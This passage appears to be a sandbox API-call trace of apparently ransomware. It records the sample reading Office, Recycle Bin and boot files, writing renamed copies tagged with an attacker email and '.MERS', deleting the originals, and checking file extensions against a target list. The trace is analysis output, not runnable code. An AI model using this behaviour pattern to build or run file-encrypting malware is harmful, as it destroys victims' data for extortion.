lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.844] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.844] SetEndOfFile (hFile=0x3d8) returned 1 [0273.844] CloseHandle (hObject=0x3d8) returned 1 [0273.844] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.844] SetEndOfFile (hFile=0x3c8) returned 1 [0273.854] CloseHandle (hObject=0x3c8) returned 1 [0273.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 1 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.885] lstrlenW (lpString=".doc") returned 4 [0273.885] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0273.885] lstrlenW (lpString=".docx") returned 5 [0273.885] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0273.885] lstrlenW (lpString=".pdf") returned 4 [0273.885] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0273.885] lstrlenW (lpString=".xls") returned 4 [0273.885] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0273.885] lstrlenW (lpString=".xlsx") returned 5 [0273.886] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0273.886] lstrlenW (lpString=".ppt") returned 4 [0273.886] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.886] lstrlenW (lpString=".zip") returned 4 [0273.886] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0273.886] lstrlenW (lpString=".rar") returned 4 [0273.886] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0273.886] lstrlenW (lpString=".bz2") returned 4 [0273.886] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0273.886] lstrlenW (lpString=".7z") returned 3 [0273.886] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.886] lstrlenW (lpString=".dbf") returned 4 [0273.886] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.886] lstrlenW (lpString=".1cd") returned 4 [0273.886] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.886] lstrlenW (lpString=".jpg") returned 4 [0273.886] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.886] lstrlenW (lpString=".doc") returned 4 [0273.886] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0273.886] lstrlenW (lpString=".docx") returned 5 [0273.886] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0273.886] lstrlenW (lpString=".pdf") returned 4 [0273.886] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0273.886] lstrlenW (lpString=".xls") returned 4 [0273.886] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0273.886] lstrlenW (lpString=".xlsx") returned 5 [0273.886] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0273.887] lstrlenW (lpString=".ppt") returned 4 [0273.887] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0273.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.887] lstrlenW (lpString=".zip") returned 4 [0273.887] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0273.887] lstrlenW (lpString=".rar") returned 4 [0273.887] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0273.887] lstrlenW (lpString=".bz2") returned 4 [0273.887] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0273.887] lstrlenW (lpString=".7z") returned 3 [0273.887] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0273.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.887] lstrlenW (lpString=".dbf") returned 4 [0273.887] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0273.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.887] lstrlenW (lpString=".1cd") returned 4 [0273.887] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0273.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0273.887] lstrlenW (lpString=".jpg") returned 4 [0273.887] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0273.887] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0273.887] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0273.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0273.888] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=275856) returned 1 [0273.888] CloseHandle (hObject=0x398) returned 1 [0273.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll")) returned 0x20 [0273.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.891] lstrlenW (lpString=".doc") returned 4 [0273.891] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.891] lstrlenW (lpString=".docx") returned 5 [0273.891] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0273.891] lstrlenW (lpString=".pdf") returned 4 [0273.892] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.892] lstrlenW (lpString=".xls") returned 4 [0273.892] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.892] lstrlenW (lpString=".xlsx") returned 5 [0273.892] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0273.892] lstrlenW (lpString=".ppt") returned 4 [0273.892] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.892] lstrlenW (lpString=".zip") returned 4 [0273.892] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.892] lstrlenW (lpString=".rar") returned 4 [0273.892] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.892] lstrlenW (lpString=".bz2") returned 4 [0273.892] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.892] lstrlenW (lpString=".7z") returned 3 [0273.892] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.892] lstrlenW (lpString=".dbf") returned 4 [0273.892] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.892] lstrlenW (lpString=".1cd") returned 4 [0273.892] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.892] lstrlenW (lpString=".jpg") returned 4 [0273.892] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.892] lstrlenW (lpString=".doc") returned 4 [0273.892] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.892] lstrlenW (lpString=".docx") returned 5 [0273.892] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0273.892] lstrlenW (lpString=".pdf") returned 4 [0273.892] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.893] lstrlenW (lpString=".xls") returned 4 [0273.893] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.893] lstrlenW (lpString=".xlsx") returned 5 [0273.893] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0273.893] lstrlenW (lpString=".ppt") returned 4 [0273.893] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.893] lstrlenW (lpString=".zip") returned 4 [0273.893] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.893] lstrlenW (lpString=".rar") returned 4 [0273.893] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.893] lstrlenW (lpString=".bz2") returned 4 [0273.893] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.893] lstrlenW (lpString=".7z") returned 3 [0273.893] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.893] lstrlenW (lpString=".dbf") returned 4 [0273.893] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.893] lstrlenW (lpString=".1cd") returned 4 [0273.893] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0273.893] lstrlenW (lpString=".jpg") returned 4 [0273.893] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.893] lstrcmpiW (lpString1=".VSL", lpString2=".MERS") returned 1 [0273.893] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0273.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0273.894] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=41864) returned 1 [0273.894] CloseHandle (hObject=0x3d8) returned 1 [0273.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 0x20 [0273.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0273.895] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.895] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.896] GetLastError () returned 0x0 [0273.896] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0xa388, lpOverlapped=0x0) returned 1 [0274.091] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0274.092] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.092] WriteFile (in: hFile=0x3a8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.092] SetEndOfFile (hFile=0x3a8) returned 1 [0274.092] CloseHandle (hObject=0x3a8) returned 1 [0274.092] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.093] SetEndOfFile (hFile=0x3d8) returned 1 [0274.095] CloseHandle (hObject=0x3d8) returned 1 [0274.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0274.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) Thread: id = 94 os_tid = 0x6e4 [0257.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x5e3f28 [0257.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x5f3f30 [0257.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595178 [0257.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x5c1f88 [0257.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595190 [0257.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x3730020 [0257.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5951a8 [0257.672] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5951a8, Size=0x20) returned 0x59d630 [0257.672] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5951a8 [0257.672] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5951a8, Size=0x20) returned 0x59d658 [0257.672] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.672] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.672] Wow64DisableWow64FsRedirection (in: OldValue=0x2e6ff58 | out: OldValue=0x2e6ff58*=0x0) returned 1 [0257.672] lstrlenW (lpString="kernel32.dll") returned 12 [0257.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59d630 | out: hHeap=0x540000) returned 1 [0257.672] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.672] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59d658 | out: hHeap=0x540000) returned 1 [0257.672] Sleep (dwMilliseconds=0x64) [0257.865] lstrcmpiW (lpString1=".ini", lpString2=".MERS") returned -1 [0257.865] lstrlenW (lpString="desktop.ini") returned 11 [0257.865] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0257.865] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=129) returned 1 [0257.865] CloseHandle (hObject=0x2c8) returned 1 [0257.865] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0257.865] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[crypt1style@aol.com].mers")) returned 0x26 [0257.866] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.866] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.866] lstrlenW (lpString=".doc") returned 4 [0257.866] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0257.866] lstrlenW (lpString=".docx") returned 5 [0257.866] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0257.866] lstrlenW (lpString=".pdf") returned 4 [0257.866] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0257.866] lstrlenW (lpString=".xls") returned 4 [0257.866] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0257.866] lstrlenW (lpString=".xlsx") returned 5 [0257.866] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0257.866] lstrlenW (lpString=".ppt") returned 4 [0257.866] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0257.866] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.866] lstrlenW (lpString=".zip") returned 4 [0257.866] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0257.866] lstrlenW (lpString=".rar") returned 4 [0257.866] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0257.866] lstrlenW (lpString=".bz2") returned 4 [0257.866] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0257.866] lstrlenW (lpString=".7z") returned 3 [0257.866] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0257.866] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.866] lstrlenW (lpString=".dbf") returned 4 [0257.866] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0257.866] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.866] lstrlenW (lpString=".1cd") returned 4 [0257.866] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0257.867] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.867] lstrlenW (lpString=".jpg") returned 4 [0257.867] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0257.867] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.867] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.867] lstrlenW (lpString=".doc") returned 4 [0257.867] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0257.867] lstrlenW (lpString=".docx") returned 5 [0257.867] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0257.867] lstrlenW (lpString=".pdf") returned 4 [0257.867] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0257.867] lstrlenW (lpString=".xls") returned 4 [0257.867] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0257.867] lstrlenW (lpString=".xlsx") returned 5 [0257.867] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0257.867] lstrlenW (lpString=".ppt") returned 4 [0257.867] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0257.867] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.867] lstrlenW (lpString=".zip") returned 4 [0257.867] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0257.867] lstrlenW (lpString=".rar") returned 4 [0257.867] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0257.867] lstrlenW (lpString=".bz2") returned 4 [0257.867] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0257.867] lstrlenW (lpString=".7z") returned 3 [0257.867] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0257.867] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.867] lstrlenW (lpString=".dbf") returned 4 [0257.867] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0257.867] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.867] lstrlenW (lpString=".1cd") returned 4 [0257.867] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0257.867] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.868] lstrlenW (lpString=".jpg") returned 4 [0257.868] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0257.868] lstrcmpiW (lpString1=".LOG", lpString2=".MERS") returned -1 [0257.868] lstrlenW (lpString="BCD.LOG") returned 7 [0257.868] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.868] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.868] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.868] lstrlenW (lpString=".doc") returned 4 [0257.868] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0257.868] lstrlenW (lpString=".docx") returned 5 [0257.868] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0257.868] lstrlenW (lpString=".pdf") returned 4 [0257.868] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0257.868] lstrlenW (lpString=".xls") returned 4 [0257.868] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0257.868] lstrlenW (lpString=".xlsx") returned 5 [0257.868] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0257.868] lstrlenW (lpString=".ppt") returned 4 [0257.868] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0257.868] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.868] lstrlenW (lpString=".zip") returned 4 [0257.868] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0257.868] lstrlenW (lpString=".rar") returned 4 [0257.868] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0257.868] lstrlenW (lpString=".bz2") returned 4 [0257.868] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0257.868] lstrlenW (lpString=".7z") returned 3 [0257.868] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0257.868] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.869] lstrlenW (lpString=".dbf") returned 4 [0257.869] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0257.869] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.869] lstrlenW (lpString=".1cd") returned 4 [0257.869] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0257.869] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.869] lstrlenW (lpString=".jpg") returned 4 [0257.869] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0257.869] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.869] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.869] lstrlenW (lpString=".doc") returned 4 [0257.869] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0257.869] lstrlenW (lpString=".docx") returned 5 [0257.869] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0257.869] lstrlenW (lpString=".pdf") returned 4 [0257.869] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0257.869] lstrlenW (lpString=".xls") returned 4 [0257.869] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0257.869] lstrlenW (lpString=".xlsx") returned 5 [0257.869] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0257.869] lstrlenW (lpString=".ppt") returned 4 [0257.869] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0257.869] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.869] lstrlenW (lpString=".zip") returned 4 [0257.869] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0257.869] lstrlenW (lpString=".rar") returned 4 [0257.869] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0257.869] lstrlenW (lpString=".bz2") returned 4 